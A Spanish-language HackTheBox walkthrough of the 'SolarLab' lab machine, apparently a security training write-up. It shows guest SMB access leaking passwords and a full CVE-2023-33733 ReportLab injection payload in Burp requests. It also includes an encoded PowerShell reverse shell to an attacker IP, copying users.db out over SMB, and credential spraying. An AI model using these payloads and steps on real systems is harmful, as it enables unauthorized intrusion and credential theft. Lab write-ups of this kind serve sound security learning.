SolarLab – HackTheBox Link to heading
- OS: Windows
- Difficulty: Medium
- Platform: HackTheBox
Resumen Link to heading
“SolarLab” es una máquina de dificultad Media de la plataforma HackTheBox
. Un logueo anónimo a través del servicio SMB
conlleva a la filtración de credenciales para una panel de logueo en la máquina víctima. Dentro de este panel de logueo, somos capaces de generar archivos PDF
a través de una librería de Python
llamada ReportLab
. Esta librería es vulnerable a CVE-2023-33733, lo cual nos permite ejecución remota de comandos y así ganar acceso inicial a la máquina víctima. Una vez dentro, somos capaces de extraer credenciales de un archivo de base de datos lo cual nos permite pivotear a un nuevo usuario dentro de ésta. Este nuevo usuario puede leer archivos privilegiados del servicio Openfire
. Dentro de estos archivos, tenemos una contraseña encriptada la cual somos capaces de desencriptar. Esta contraseña desencriptada es reutilizada por el usuario Administrator
, ganando así control total sobre el sistema.
User / Usuario Link to heading
Empezando con un escaneo con Nmap
muestra múltiples puertos TCP
abiertos: 80
HTTP
, 135
Microsoft RPC
, 139
NetBios
, 445
Server Message Block
(SMB
) y 6791
otro servicio HTTP
:
❯ sudo nmap -sVC -p80,135,139,445,6791 10.10.11.16 -oN targeted
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-29 16:00 -04
Nmap scan report for 10.10.11.16
Host is up (0.20s latency).
PORT STATE SERVICE VERSION
80/tcp open http nginx 1.24.0
|_http-title: Did not follow redirect to http://solarlab.htb/
|_http-server-header: nginx/1.24.0
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
6791/tcp open http nginx 1.24.0
|_http-title: Did not follow redirect to http://report.solarlab.htb:6791/
|_http-server-header: nginx/1.24.0
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2024-05-29T20:01:06
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 57.64 seconds
Noto que incluso si esta es una máquina Windows
, ésta se encuentra corriendo Nginx
para los servicios expuestos en los puertos 80
y 6791
.
Además, del escaneo de Nmap
soy capaz de ver un dominio y un subdominio: solarlab.htb
y report.solarlab.htb
. De manera que agrego estos dominios a mi archivo /etc/hosts
:
❯ echo '10.10.11.16 solarlab.htb report.solarlab.htb' | sudo tee -a /etc/hosts
10.10.11.16 solarlab.htb report.solarlab.htb
Visitando http://solarlab.htb
muestra un mensaje acerca de un servicio de Mensajería Instantánea:
Muchos de los botones de esta página no funcionan, de manera que descarto esta página de momento.
Visitando http://report.solarlab.htb:6791
muestra un panel de login:
Probando credenciales por defecto como admin:admin
, root:root
, guest:guest
no funciona. Distintos tipos de inyecciones tampoco funcionan. De manera que guardaré esta página para más tarde.
Ya en este putno decido mirar por información en otros servicios como, por ejemplo, SMB
. Un rápido escaneo con NetExec
nos retorna:
❯ netexec smb 10.10.11.16
SMB 10.10.11.16 445 SOLARLAB [*] Windows 10 / Server 2019 Build 19041 x64 (name:SOLARLAB) (domain:solarlab) (signing:False) (SMBv1:False)
Luego de jugar con algunas credenciales, una de ellas funciona: guest
(y sin contraseña):
❯ netexec smb 10.10.11.16 -u 'guest' -p ''
SMB 10.10.11.16 445 SOLARLAB [*] Windows 10 / Server 2019 Build 19041 x64 (name:SOLARLAB) (domain:solarlab) (signing:False) (SMBv1:False)
SMB 10.10.11.16 445 SOLARLAB [+] solarlab\guest:
De hecho, podemos llegar a un resultado similar utilizando “cualquier” usuario (es decir, prácticamente anónimo), dado que si paso otro usuario aleatorio como random
podemos seguir viendo los recursos compartidos como Documents
:
❯ netexec smb 10.10.11.16 -u 'random' -p '' --shares
SMB 10.10.11.16 445 SOLARLAB [*] Windows 10 / Server 2019 Build 19041 x64 (name:SOLARLAB) (domain:solarlab) (signing:False) (SMBv1:False)
SMB 10.10.11.16 445 SOLARLAB [+] solarlab\random:
SMB 10.10.11.16 445 SOLARLAB [*] Enumerated shares
SMB 10.10.11.16 445 SOLARLAB Share Permissions Remark
SMB 10.10.11.16 445 SOLARLAB ----- ----------- ------
SMB 10.10.11.16 445 SOLARLAB ADMIN$ Remote Admin
SMB 10.10.11.16 445 SOLARLAB C$ Default share
SMB 10.10.11.16 445 SOLARLAB Documents READ
SMB 10.10.11.16 445 SOLARLAB IPC$ READ Remote IPC
Podemos entonces usar smbmap
para inspeccionar el recurso Documents
:
❯ smbmap -H 10.10.11.16 -u 'guest' -p '' --no-banner
[*] Detected 1 hosts serving SMB
[*] Established 1 SMB session(s)
[+] IP: 10.10.11.16:445 Name: solarlab.htb Status: Authenticated
Disk Permissions Comment
---- ----------- -------
ADMIN$ NO ACCESS Remote Admin
C$ NO ACCESS Default share
Documents READ ONLY
IPC$ READ ONLY Remote IPC
Y revisar los documentos dentro de este recurso compartido:
❯ smbmap -H 10.10.11.16 -u 'guest' -p '' --no-banner -r 'Documents'
[*] Detected 1 hosts serving SMB
[*] Established 1 SMB session(s)
[+] IP: 10.10.11.16:445 Name: solarlab.htb Status: Authenticated
Disk Permissions Comment
---- ----------- -------
ADMIN$ NO ACCESS Remote Admin
C$ NO ACCESS Default share
Documents READ ONLY
./Documents
dw--w--w-- 0 Fri Apr 26 10:47:14 2024 .
dw--w--w-- 0 Fri Apr 26 10:47:14 2024 ..
dr--r--r-- 0 Fri Apr 26 10:41:57 2024 concepts
fr--r--r-- 278 Fri Nov 17 09:34:54 2023 desktop.ini
fr--r--r-- 12793 Fri Nov 17 09:34:54 2023 details-file.xlsx
dr--r--r-- 0 Thu Nov 16 16:36:51 2023 My Music
dr--r--r-- 0 Thu Nov 16 16:36:51 2023 My Pictures
dr--r--r-- 0 Thu Nov 16 16:36:51 2023 My Videos
fr--r--r-- 37194 Fri Apr 26 10:44:18 2024 old_leave_request_form.docx
IPC$ READ ONLY Remote IPC
Descargo estos archivos. Por ejemplo, para descargar el archivo details-file.xlsx
ejecutamos:
❯ smbmap -H 10.10.11.16 -u 'guest' -p '' --no-banner --download 'Documents/details-file.xlsx'
[*] Detected 1 hosts serving SMB
[*] Established 1 SMB session(s)
[+] Starting download: Documents\details-file.xlsx (12793 bytes)
[+] File output to: /home/gunzf0x/HTB/HTBMachines/Medium/SolarLab/content/10.10.11.16-Documents_details-file.xlsx
Luego de descargar todos los archivos disponibles pasamos a leerlos. El archivo old_leave_request_form.docx
(un archivo de Microsoft Word
) muestra un Holiday Request Form (Formulario de Petición de Vacaciones):
y el archivo details-file.xlsx
muestra algo de info interesante:
Hemos encontrado un archivo con usuario y contraseñas en texto plano. Guardamos estas credenciales en un archivo:
❯ cat potential_user_and_passwords.txt
Alexander.knight@gmail.com:al;ksdhfewoiuh
Kalexander:dkjafblkjadsfgl
Alexander.knight@gmail.com:d398sadsknr390
blake.byte:ThisCanB3typedeasily1@
AlexanderK:danenacia9234n
ClaudiaS:dadsfawe9dafkn
Noto que los usuarios AlexanderK
y ClaudiaS
, presentes en el archivo .xlsx
, también están presentes en la página principal http://solarlab.htb
:
Por tanto, basados en el mismo patrón, debería también de existir el usuario BlakeB
(dado que encontramos el usuario blake.byte
para la persona Blake Byte
en el archivo leakeado).
De vuelta a http://report.solarlab.htb:6791
podemos intentar utilizar las credenciales utilizadas. Tal cual sospechábamos, una de ellas funciona: BlakeB:ThisCanB3typedeasily1@
. Una vez dentro del panel podemos ver:
Yendo a Training Request
puedo ver un formulario. Lo relleno con datos aleatorios, y como firma (Signature
) agrego un archivo .png
sin importancia:
Clickeando en Generate PDF
genera un archivo PDF
(algo totalmente inesperado).
Guardo este archivo PDF
y lo analizo con la herramienta exiftool
:
❯ exiftool generated_pdf.pdf
ExifTool Version Number : 12.76
File Name : generated_pdf.pdf
Directory : .
File Size : 272 kB
File Modification Date/Time : 2024:05:29 18:42:35-04:00
File Access Date/Time : 2024:05:29 18:42:35-04:00
File Inode Change Date/Time : 2024:05:29 18:42:35-04:00
File Permissions : -rw-r--r--
File Type : PDF
File Type Extension : pdf
MIME Type : application/pdf
PDF Version : 1.4
Linearized : No
Author : (anonymous)
Create Date : 2024:05:30 01:39:45-02:00
Creator : (unspecified)
Modify Date : 2024:05:30 01:39:45-02:00
Producer : ReportLab PDF Library - www.reportlab.com
Subject : (unspecified)
Title : (anonymous)
Trapped : False
Page Mode : UseNone
Page Count : 1
De la página web, y también de la metadata del PDF
puedo ver algo: ReportLab
. Buscando por what is reportlab pdf
encontramos:
ReportLab
is a software library that lets you directly create documents in Adobe’s Portable Document Format
(PDF
) using the Python
programming language. PDF
is the global standard for electronic documentsEn resumen, ReportLab
es una librería de Python
para generar archivos PDF.
Buscando por ReportLab exploit
puedo ver una vulnerabilidad catalogada como CVE-2023-33733 la cual permite Remote Code Execution
(RCE
), o ejecución remota de comandos. Buscando por Proof of Concepts for para esta vulnerabilidad encuentro este breve reporte y este repositorio de Github. La PoC dada es:
from reportlab.platypus import SimpleDocTemplate, Paragraph
from io import BytesIO
stream_file = BytesIO()
content = []
def add_paragraph(text, content):
""" Add paragraph to document content"""
content.append(Paragraph(text))
def get_document_template(stream_file: BytesIO):
""" Get SimpleDocTemplate """
return SimpleDocTemplate(stream_file)
def build_document(document, content, **props):
""" Build pdf document based on elements added in `content`"""
document.build(content, **props)
doc = get_document_template(stream_file)
#
# THE INJECTED PYTHON CODE THAT IS PASSED TO THE COLOR EVALUATOR
#[
# [
# getattr(pow, Word('__globals__'))['os'].system('touch /tmp/exploited')
# for Word in [
# orgTypeFun(
# 'Word',
# (str,),
# {
# 'mutated': 1,
# 'startswith': lambda self, x: False,
# '__eq__': lambda self, x: self.mutate()
# and self.mutated < 0
# and str(self) == x,
# 'mutate': lambda self: {setattr(self, 'mutated', self.mutated - 1)},
# '__hash__': lambda self: hash(str(self)),
# },
# )
# ]
# ]
# for orgTypeFun in [type(type(1))]
#]
add_paragraph("""
<para>
<font color="[ [ getattr(pow,Word('__globals__'))['os'].system('touch /tmp/exploited') for Word in [orgTypeFun('Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: False, '__eq__': lambda self,x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: {setattr(self, 'mutated', self.mutated - 1)}, '__hash__': lambda self: hash(str(self)) })] ] for orgTypeFun in [type(type(1))] ] and 'red'">
exploit
</font>
</para>""", content)
build_document(doc, content)
Donde puedo ver que exploit en este caso es el simple comando touch /tmp/exploited
para crear un archivo.
De vuelta al sitio report.solarlab.htb
trato de generar un nuevo archivo PDF
, pero esta vez lo intercepto con Burpsuite
, de donde obtenemos la petición:
POST /trainingRequest HTTP/1.1
Host: report.solarlab.htb:6791
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=---------------------------12561648027887354952763904803
Content-Length: 55762
Origin: http://report.solarlab.htb:6791
DNT: 1
Connection: close
Referer: http://report.solarlab.htb:6791/trainingRequest
Cookie: session=.eJwljjsOw0AIBe9CnQLWfBZfxjJrUNLacRXl7lkp0715zXxgqzOvJ6zv884HbK8DVoh9aC48GnM5YYjsncJHVsrwEUi1OLt1iXlL10RPw0NSbBIh3lpG2WLUVSPUHaf25hyszCqCJuqhDa2a78GEpKlzlxwwQ-4rz38NwfcHgZgttg.Zle7GA.RCZWHDxp4nba5j3_A4p8e132hy4
Upgrade-Insecure-Requests: 1
-----------------------------12561648027887354952763904803
Content-Disposition: form-data; name="time_interval"
2024-05-29 to 2024-05-30
-----------------------------12561648027887354952763904803
Content-Disposition: form-data; name="training_request"
Cybersecurity Awareness
-----------------------------12561648027887354952763904803
Content-Disposition: form-data; name="signature"; filename="gengar_image.jpg"
Content-Type: image/jpeg
<SNIP>
Para probar si el script funciona, trataré de enviar un ping
a mi máquina de atacante. Empiezo un listener con tcpdump
por trazas ICMP
en la interfaz de red tun0
(la asignada por la VPN de HTB):
❯ sudo tcpdump -ni tun0 icmp
e inyectamos el siguiente código:
<para>
<font color="[ [ getattr(pow,Word('__globals__'))['os'].system('ping -n 1 10.10.16.6') for Word in [orgTypeFun('Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: False, '__eq__': lambda self,x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: {setattr(self, 'mutated', self.mutated - 1)}, '__hash__': lambda self: hash(str(self)) })] ] for orgTypeFun in [type(type(1))] ] and 'red'">
exploit
</font>
</para>
donde 10.10.16.6
es mi IP de atacante.
Luego, en la petición con Burpsuite
, pongo el payload en el campo del parámetro training_request
. De manera que borro el string/palabras Cybersecurity Awareness
y las reemplazo por el payload mencionado. Así, la petición se ve ahora como:
POST /trainingRequest HTTP/1.1
Host: report.solarlab.htb:6791
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=---------------------------407089719225311833713402929686
Content-Length: 56226
Origin: http://report.solarlab.htb:6791
DNT: 1
Connection: close
Referer: http://report.solarlab.htb:6791/trainingRequest
Cookie: session=.eJwljjsOw0AIBe9CnQLWfBZfxjJrUNLacRXl7lkp0715zXxgqzOvJ6zv884HbK8DVoh9aC48GnM5YYjsncJHVsrwEUi1OLt1iXlL10RPw0NSbBIh3lpG2WLUVSPUHaf25hyszCqCJuqhDa2a78GEpKlzlxwwQ-4rz38NwfcHgZgttg.Zle97Q.QtDih2IU5O3KCk4sssOHFefbMs0
Upgrade-Insecure-Requests: 1
-----------------------------407089719225311833713402929686
Content-Disposition: form-data; name="time_interval"
2024-05-29 to 2024-05-30
-----------------------------407089719225311833713402929686
Content-Disposition: form-data; name="training_request"
<para>
<font color="[ [ getattr(pow,Word('__globals__'))['os'].system('ping -n 1 10.10.16.6') for Word in [orgTypeFun('Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: False, '__eq__': lambda self,x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: {setattr(self, 'mutated', self.mutated - 1)}, '__hash__': lambda self: hash(str(self)) })] ] for orgTypeFun in [type(type(1))] ] and 'red'">
exploit
</font>
</para>
-----------------------------407089719225311833713402929686
Content-Disposition: form-data; name="signature"; filename="gengar_image.jpg"
Content-Type: image/jpeg
<SNIP>
Podemos enviar el payload y en mi listener con tcpdump
obtengo algo:
❯ sudo tcpdump -ni tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
19:45:31.010551 IP 10.10.11.16 > 10.10.16.6: ICMP echo request, id 1, seq 1, length 40
19:45:31.010566 IP 10.10.16.6 > 10.10.11.16: ICMP echo reply, id 1, seq 1, length 40
Funcionó. Hemos logrado un Remote Code Execution
(RCE
), o ejecución remota de comandos.
502 Internal Server Error
esto significa que la inyección puede haber funcionado. En cambio, si la petición retorna código 302 Found
esto puede significar que nuestra sesión actual ha caducado; por lo que necesitamos re-loguear en el panel de http://report.solarlab.htb:6791
y repetir los pasos mencionados.Continuando, para crear un payload para Windows
usaré la página Reverse Shell Generator
(https://www.revshells.com/). Pongo allí mi IP de atacante, y como puerto elijo 443
el cual será el puerto por el cual me pondré en esucha con netcat
. Elijo como payload Powershell #3 (Base64)
, de manera que en mi caso nuestro payload se ve como:
<para>
<font color="[ [ getattr(pow,Word('__globals__'))['os'].system('powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA2AC4ANgAiACwANAA0ADMAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACIAUABTACAAIgAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACIAPgAgACIAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA') for Word in [orgTypeFun('Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: False, '__eq__': lambda self,x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: {setattr(self, 'mutated', self.mutated - 1)}, '__hash__': lambda self: hash(str(self)) })] ] for orgTypeFun in [type(type(1))] ] and 'red'">
exploit
</font>
</para>
Empiezo un listener con netcat
, junto con rlwrap
, y envío el payload a través de Burpsuite
. En mi caso la petición con el payload se ve como:
POST /trainingRequest HTTP/1.1
Host: report.solarlab.htb:6791
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=---------------------------31991831217370751261817680947
Content-Length: 55762
Origin: http://report.solarlab.htb:6791
DNT: 1
Connection: close
Referer: http://report.solarlab.htb:6791/trainingRequest
Cookie: session=.eJwljjsOw0AIBe9CnQLWfBZfxjJrUNLacRXl7lkp0715zXxgqzOvJ6zv884HbK8DVoh9aC48GnM5YYjsncJHVsrwEUi1OLt1iXlL10RPw0NSbBIh3lpG2WLUVSPUHaf25hyszCqCJuqhDa2a78GEpKlzlxwwQ-4rz38NwfcHgZgttg.ZlfBhA.6inknZIdzhImSVvVwMCu88gANp4
Upgrade-Insecure-Requests: 1
-----------------------------31991831217370751261817680947
Content-Disposition: form-data; name="time_interval"
2024-05-29 to 2024-05-30
-----------------------------31991831217370751261817680947
Content-Disposition: form-data; name="training_request"
<para>
<font color="[ [ getattr(pow,Word('__globals__'))['os'].system('powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA2AC4ANgAiACwANAA0ADMAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACIAUABTACAAIgAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACIAPgAgACIAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA') for Word in [orgTypeFun('Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: False, '__eq__': lambda self,x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: {setattr(self, 'mutated', self.mutated - 1)}, '__hash__': lambda self: hash(str(self)) })] ] for orgTypeFun in [type(type(1))] ] and 'red'">
exploit
</font>
</para>
-----------------------------31991831217370751261817680947
Content-Disposition: form-data; name="signature"; filename="gengar_image.jpg"
Content-Type: image/jpeg
<SNIP>
y en mi listener con netcat
obtengo una shell como el usuario blake
:
❯ rlwrap -cAr nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.11.16] 50896
whoami
solarlab\blake
PS C:\Users\blake\Documents\app>
Podemos leer la flag de usuario en el Desktop del usuario blake
.
Root Link to heading
Revisando qué es lo que tenemos en el directorio C:\Users\blake\Documents\app
, podemos ver algunos archivos:
PS C:\Users\blake\Documents\app> dir
Directory: C:\Users\blake\Documents\app
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 5/2/2024 12:30 PM instance
d----- 5/30/2024 3:03 AM reports
d----- 11/17/2023 10:01 AM static
d----- 11/17/2023 10:01 AM templates
d----- 5/30/2024 3:08 AM __pycache__
-a---- 11/17/2023 9:59 AM 1278 app.py
-a---- 11/16/2023 2:17 PM 315 models.py
-a---- 11/18/2023 6:59 PM 7790 routes.py
-a---- 5/2/2024 6:26 PM 3352 utils.py
Revisando el contenido de estos archivos con el comando type app.py
muestra un script de Python
para correr un servidor usando Flask
:
# app.py
from flask import Flask
from flask_sqlalchemy import SQLAlchemy
from flask_login import LoginManager
import os
app = Flask(__name__)
app.secret_key = os.urandom(64)
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///users.db'
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False
app.config['UPLOAD_FOLDER'] = 'c:\\users\\blake\\documents\\app\\reports'
login_manager = LoginManager(app)
login_manager.login_view = 'login'
# Import other modules with routes and configurations
from routes import *
from models import User, db
from utils import create_database
db.init_app(app)
with app.app_context():
create_database()
# Initialize Flask-Login
@login_manager.user_loader
def load_user(user_id):
return User.query.get(int(user_id))
app.route('/')(index)
app.route('/login', methods=['GET', 'POST'])(login)
app.route('/logout')(logout)
app.route('/dashboard')(dashboard)
app.route('/leaveRequest', methods=['GET', 'POST'])(leaveRequest)
app.route('/trainingRequest', methods=['GET', 'POST'])(trainingRequest)
app.route('/homeOfficeRequest', methods=['GET', 'POST'])(homeOfficeRequest)
app.route('/travelApprovalForm', methods=['GET', 'POST'])(travelApprovalForm)
if __name__ == "__main__":
app.run(host="127.0.0.1", port=5000, debug=True, threaded=True)
De donde puedo ver que está cargando data de una base de datos SQLite
.
Adicionalmente, chequeando models.py
tenemos:
# models.py
from flask_sqlalchemy import SQLAlchemy
from flask_login import UserMixin
db = SQLAlchemy()
class User(UserMixin, db.Model):
id = db.Column(db.Integer, primary_key=True)
username = db.Column(db.String(50), unique=True, nullable=False)
password = db.Column(db.String(100), nullable=False)
donde puedo ver que las variables username
y password
están siendo importadas.
Buscando por archivos llamados users.db
, el cual es el nombre del archivo siendo llamado por app.py
, puedo ver dos de ellas:
PS C:\Users\blake\Documents\app> cmd.exe /c dir /b /s *users.db
C:\Users\blake\Documents\app\instance\users.db
C:\Users\blake\Documents\app\reports\instance\users.db
Pasaré el primer archivo users.db
en mi máquina de atacante. Dedo que el servicio SMB
está corriendo, usemos este servicio para pasarnos archivos. En nuestra máquina de atacante usaremos smbserver.py
de Impacket
y empezamos una carpeta/directorio compartido llamado smb2Folder
con las credenciales gunzf0x:gunzf0x123
:
❯ python3 /usr/share/doc/python3-impacket/examples/smbserver.py smb2Folder $(pwd) -smb2support -username 'gunzf0x' -password 'gunzf0x123'
Impacket v0.12.0.dev1 - Copyright 2023 Fortra
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
<SNIP>
En la máquina víctima establecemos una conexión a nuestro directorio compartido y, luego, copiamos el archivo deseado en éste:
PS C:\Users\blake\Documents\app> cmd.exe /c net use \\10.10.16.6\smb2Folder /u:gunzf0x gunzf0x123
The command completed successfully.
PS C:\Users\blake\Documents\app> copy C:\Users\blake\Documents\app\instance\users.db \\10.10.16.6\smb2Folder\
Finalmente, “borramos” esta conexión:
PS C:\Users\blake\Documents\app> cmd.exe /c net use /d \\10.10.16.6\smb2Folder
\\10.10.16.6\smb2Folder was deleted successfully.
Luego, en nuestra máquina de atacante, usamos SQLite
junto con el comando .dump
para extraer toda la info dentro del archivo traspasado:
❯ sqlite3 users.db
SQLite version 3.45.1 2024-01-30 16:01:20
Enter ".help" for usage hints.
sqlite> .dump
PRAGMA foreign_keys=OFF;
BEGIN TRANSACTION;
CREATE TABLE user (
id INTEGER NOT NULL,
username VARCHAR(50) NOT NULL,
password VARCHAR(100) NOT NULL,
PRIMARY KEY (id),
UNIQUE (username)
);
INSERT INTO user VALUES(1,'blakeb','ThisCanB3typedeasily1@');
INSERT INTO user VALUES(2,'claudias','007poiuytrewq');
INSERT INTO user VALUES(3,'alexanderk','HotP!fireguard');
COMMIT;
sqlite> select * from user;
1|blakeb|ThisCanB3typedeasily1@
2|claudias|007poiuytrewq
3|alexanderk|HotP!fireguard
Tenemos 3 usuarios y contraseñas: blakeb:ThisCanB3typedeasily1@
(la cual ya habíamos hallado previamente), claudias:007poiuytrewq
y alexanderk:HotP!fireguard
.
Como sea, si revisamos qué usuarios tenemos en la máquina víctima (corriendo net user
), no puedo ver a los usuarios claudias
o alexanderk
; en su lugar, solamente puedo ver un usuario llamado openfire
. Esto me hace pensar que el servicio Openfire
está corriendo en esta máquina.
Openfire
is a real time collaboration (RTC) server licensed under the Open Source Apache License. It uses the only widely adopted open protocol for instant messaging, XMPP
(also called Jabber). Openfire
is incredibly easy to setup and administer, but offers rock-solid security and performanceEn corto, Openfire
es una herramienta para mensajería instantánea.
Hemos visto el servicio Openfire
previamente en la máquina HTB Jab. Dado que tenemos algunas contraseñas, veremos si alguna de ellas funciona para el usuario openfire
. Para esto, usaré NetExec
con el servicio SMB
y veré si alguna credencial es válida para este servicio con el usuario openfire
. Guardo las contraseñas encontradas en un archivo y, luego, procedo a correr en mi máquina de atacante:
❯ netexec smb 10.10.11.16 -u 'openfire' -p sqlite_found_passwords.txt
SMB 10.10.11.16 445 SOLARLAB [*] Windows 10 / Server 2019 Build 19041 x64 (name:SOLARLAB) (domain:solarlab) (signing:False) (SMBv1:False)
SMB 10.10.11.16 445 SOLARLAB [-] solarlab\openfire:ThisCanB3typedeasily1@ STATUS_LOGON_FAILURE
SMB 10.10.11.16 445 SOLARLAB [-] solarlab\openfire:007poiuytrewq STATUS_LOGON_FAILURE
SMB 10.10.11.16 445 SOLARLAB [+] solarlab\openfire:HotP!fireguard
Una de las credenciales funciona: openfire:HotP!fireguard
.
Usualmente Openfire
corre por defecto en los puertos 9090
y 9091
, lo cual es el caso de la máquina víctima:
PS C:\Program Files> netstat -ano | findstr LISTENING | findstr 127.0.0.1:90
TCP 127.0.0.1:9090 0.0.0.0:0 LISTENING 3084
TCP 127.0.0.1:9091 0.0.0.0:0 LISTENING 3084
Trato de pivotear al usuario openfire
con herramientas como wmiexec.py
de Impacket
, pero esto no funciona dado que este usuario no es un usuario privilegiado:
